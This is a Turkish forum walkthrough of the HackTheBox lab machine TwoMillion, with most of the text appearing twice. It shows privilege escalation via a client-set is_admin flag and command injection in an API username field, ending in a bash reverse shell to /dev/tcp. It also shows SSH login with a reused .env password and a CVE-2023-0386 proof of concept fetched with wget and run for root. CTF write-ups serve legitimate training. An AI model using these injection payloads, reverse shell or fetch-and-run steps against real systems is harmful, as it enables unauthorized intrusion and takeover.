API Abuse'tan Root'a | Easy Makine
Zorluk: Easy
OS: Linux
Etiketler: Web, API Abuse, Command Injection, Kernel Exploit
Selam hack severler!
Bugün HackTheBox'in nostaljik makinelerinden TwoMillion'ı çözüyoruz. Makine eski HTB temasını taşıyor ve saldırı zinciri oldukça temiz ilerliyor:
Hadi başlayalım.
1. Reconnaissance
Öncelikle klasik nmap taramasını yapıyoruz:
Çıkan sonuçlar:
Site adresine yönlendiriyor. Bu yüzden hosts dosyasına ekliyoruz:
2. Enumeration
Siteye girdiğimizde invite code istiyor. feroxbuster ile dizin taraması yapıyoruz:
Önemli bulgular:
3. Invite Kodunu Elde Etme
3.1 JavaScript'in Deobfuscate Edilmesi
Önce JavaScript dosyasını çekiyoruz:
Dosya klasik eval ile paketlenmiş. Deobfuscate ettikten sonra iki önemli fonksiyon çıkıyor:
3.2 Kodu Üretme
Önce şu isteği atıyoruz:
Gelen cevapta ROT13 ile şifrelenmiş bir mesaj var:
ROT13 çözüyoruz:
Çıkan mesaj: /api/v1/invite/generate endpoint'ine POST at diyor.
Şimdi kodu üretiyoruz:
Gelen Base64 çıktısını çözüyoruz:
Invite Kodu: UKLXC-6NSN0-T915N-UV8YA
Bu kod ile /invite sayfasından kayıt olabiliyoruz.
4. API Keşfi ve Admin Yetkisi Alma
(Broken Access Control)
Giriş yaptıktan sonra API'yi keşfediyoruz:
Admin endpoint'leri buluyoruz:
Admin olmak için şu isteği atıyoruz:
Cevap:
Klasik Broken Access Control. Sunucu client'tan gelen is_admin değerini direkt kabul ediyor.
5. Remote Code Execution (Command Injection)
Admin olduktan sonra VPN oluşturma endpoint'ini inceliyoruz. username parametresi sanitize edilmeden sistem komutuna gidiyor.
Test için:
Çıktı: www-data
Reverse shell için:
Shell www-data kullanıcısıyla geliyor.
6. www-data → admin (Lateral Movement)
Web root'ta .env dosyası var:
İçerik:
Aynı şifre SSH için de geçerli:
User flag burada: ~/user.txt
7. Privilege Escalation → Root
(CVE-2023-0386 - OverlayFS)
SSH ile giriş yapınca mail geldiğini görüyoruz:
Mailde CVE-2023-0386 (OverlayFS/FUSE) kernel zafiyeti hakkında uyarı var.
Kernel versiyonunu kontrol ediyoruz:
Kernel versiyonu zafiyetli aralıkta. Exploit'i derleyip çalıştırıyoruz:
Exploit çalıştıktan sonra whoami çıktısı root oluyor.
Root flag: /root/root.txt
Özet Tablo
Bulunan Zafiyetler
Walkthrough bu kadar. Oldukça temiz ve öğretici bir makineydi.
Sorunuz olursa buraya yazın, yardımcı olurum.
Beğendiyseniz like + yorum bırakmayı unutmayın!
Not: Bu yazı sadece eğitim amaçlıdır. HackTheBox gibi platformlarda yasal ortamda pratik yapmanızı öneririm.
Zorluk: Easy
OS: Linux
Etiketler: Web, API Abuse, Command Injection, Kernel Exploit
Selam hack severler!
Bugün HackTheBox'in nostaljik makinelerinden TwoMillion'ı çözüyoruz. Makine eski HTB temasını taşıyor ve saldırı zinciri oldukça temiz ilerliyor:
- Obfuscate edilmiş JavaScript'ten invite kodu mantığını çözüyoruz
- API'deki Broken Access Control zafiyetiyle direkt admin oluyoruz
- Sanitize edilmemiş parametre üzerinden RCE alıyoruz
- Son olarak CVE-2023-0386 (OverlayFS) ile root'a çıkıyoruz
Hadi başlayalım.
1. Reconnaissance
Öncelikle klasik nmap taramasını yapıyoruz:
Kod:
nmap -sC -sV -A <MACHINE-IP>
Çıkan sonuçlar:
- 22 → SSH (OpenSSH 8.9)
- 80 → HTTP (nginx)
Site adresine yönlendiriyor. Bu yüzden hosts dosyasına ekliyoruz:
Kod:
echo "<MACHINE-IP> 2million.htb" | sudo tee -a /etc/hosts
2. Enumeration
Siteye girdiğimizde invite code istiyor. feroxbuster ile dizin taraması yapıyoruz:
Kod:
feroxbuster -u http://2million.htb
Önemli bulgular:
- /invite → Kayıt sayfası
- /js/inviteapi.min.js → Invite mantığının olduğu JavaScript dosyası
- /api/v1/user/register → API endpoint'leri
3. Invite Kodunu Elde Etme
3.1 JavaScript'in Deobfuscate Edilmesi
Önce JavaScript dosyasını çekiyoruz:
Kod:
curl -X GET http://2million.htb/js/inviteapi.min.js
Dosya klasik eval ile paketlenmiş. Deobfuscate ettikten sonra iki önemli fonksiyon çıkıyor:
- makeInviteCode() → /api/v1/invite/how/to/generate
- verifyInviteCode(code) → /api/v1/invite/verify
3.2 Kodu Üretme
Önce şu isteği atıyoruz:
Kod:
curl -X POST http://2million.htb/api/v1/invite/how/to/generate
Gelen cevapta ROT13 ile şifrelenmiş bir mesaj var:
Kod:
Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr
ROT13 çözüyoruz:
Kod:
echo "Va beqre gb trarengr..." | tr 'A-Za-z' 'N-ZA-Mn-za-m'
Çıkan mesaj: /api/v1/invite/generate endpoint'ine POST at diyor.
Şimdi kodu üretiyoruz:
Kod:
curl -X POST http://2million.htb/api/v1/invite/generate | jq
Gelen Base64 çıktısını çözüyoruz:
Kod:
echo "VUtMWEMtNk5TTjAtVDkxNU4tVVY4WUE=" | base64 -d
Invite Kodu: UKLXC-6NSN0-T915N-UV8YA
Bu kod ile /invite sayfasından kayıt olabiliyoruz.
4. API Keşfi ve Admin Yetkisi Alma
(Broken Access Control)
Giriş yaptıktan sonra API'yi keşfediyoruz:
Kod:
curl -s http://2million.htb/api/v1 --cookie "PHPSESSID=<SESSION>" | jq
Admin endpoint'leri buluyoruz:
- GET /api/v1/admin/auth
- PUT /api/v1/admin/settings/update
- POST /api/v1/admin/vpn/generate
Admin olmak için şu isteği atıyoruz:
Kod:
curl -X PUT http://2million.htb/api/v1/admin/settings/update \
--cookie "PHPSESSID=<SESSION>" \
--header "Content-Type: application/json" \
-d '{"email": "[email protected]", "is_admin": 1}'
Cevap:
Kod:
{"id": 13, "username": "john", "is_admin": 1}
Klasik Broken Access Control. Sunucu client'tan gelen is_admin değerini direkt kabul ediyor.
5. Remote Code Execution (Command Injection)
Admin olduktan sonra VPN oluşturma endpoint'ini inceliyoruz. username parametresi sanitize edilmeden sistem komutuna gidiyor.
Test için:
Kod:
curl -X POST http://2million.htb/api/v1/admin/vpn/generate \
--cookie "PHPSESSID=<SESSION>" \
--header "Content-Type: application/json" \
--data '{"username": "john;whoami;"}'
Çıktı: www-data
Reverse shell için:
Kod:
# Attacker makinede
pwncat-cs -lp 4444
# Target üzerinde çalıştır
curl -X POST http://2million.htb/api/v1/admin/vpn/generate \
--cookie "PHPSESSID=<SESSION>" \
--header "Content-Type: application/json" \
--data '{"username":"john;bash -c '\''bash -i >& /dev/tcp/<SIZIN-IP>/4444 0>&1'\''"}'
Shell www-data kullanıcısıyla geliyor.
6. www-data → admin (Lateral Movement)
Web root'ta .env dosyası var:
Kod:
cat /var/www/html/.env
İçerik:
Kod:
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
Aynı şifre SSH için de geçerli:
Kod:
ssh [email protected]
# Şifre: SuperDuperPass123
User flag burada: ~/user.txt
7. Privilege Escalation → Root
(CVE-2023-0386 - OverlayFS)
SSH ile giriş yapınca mail geldiğini görüyoruz:
Kod:
cat /var/mail/admin
Mailde CVE-2023-0386 (OverlayFS/FUSE) kernel zafiyeti hakkında uyarı var.
Kernel versiyonunu kontrol ediyoruz:
Kod:
uname -a
# Linux 2million 5.15.70-...
Kernel versiyonu zafiyetli aralıkta. Exploit'i derleyip çalıştırıyoruz:
Kod:
# Kendi makinenizde derleyin
apt install libfuse-dev
gcc poc.c -o poc -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl
# Target'a atın
wget http://<ATTACKER-IP>:8000/poc
chmod +x poc
./poc
Exploit çalıştıktan sonra whoami çıktısı root oluyor.
Root flag: /root/root.txt
Özet Tablo
| Adım | Yapılan İşlem |
|---|---|
| Recon | Nmap + hosts dosyası |
| Enum | feroxbuster + JS analizi |
| Invite Code | ROT13 → Base64 çözümü |
| Privilege Escalation | Broken Access Control (is_admin: 1) |
| RCE | Unsanitized username → reverse shell |
| Lateral Movement | .env → admin SSH |
| Root | CVE-2023-0386 OverlayFS |
Bulunan Zafiyetler
- Client-side logic exposure → Invite kodu mantığı JS'te açık
- Broken Access Control → is_admin parametresi kontrolsüz
- Command Injection → username parametresi sanitize edilmiyor
- Hardcoded Credentials → .env dosyasında açık şifre
- Password Reuse → DB ve SSH aynı şifre
- Unpatched Kernel → CVE-2023-0386
Walkthrough bu kadar. Oldukça temiz ve öğretici bir makineydi.
Sorunuz olursa buraya yazın, yardımcı olurum.
Beğendiyseniz like + yorum bırakmayı unutmayın!
Not: Bu yazı sadece eğitim amaçlıdır. HackTheBox gibi platformlarda yasal ortamda pratik yapmanızı öneririm.
🔒 Bu içeriği görmek için giriş yapın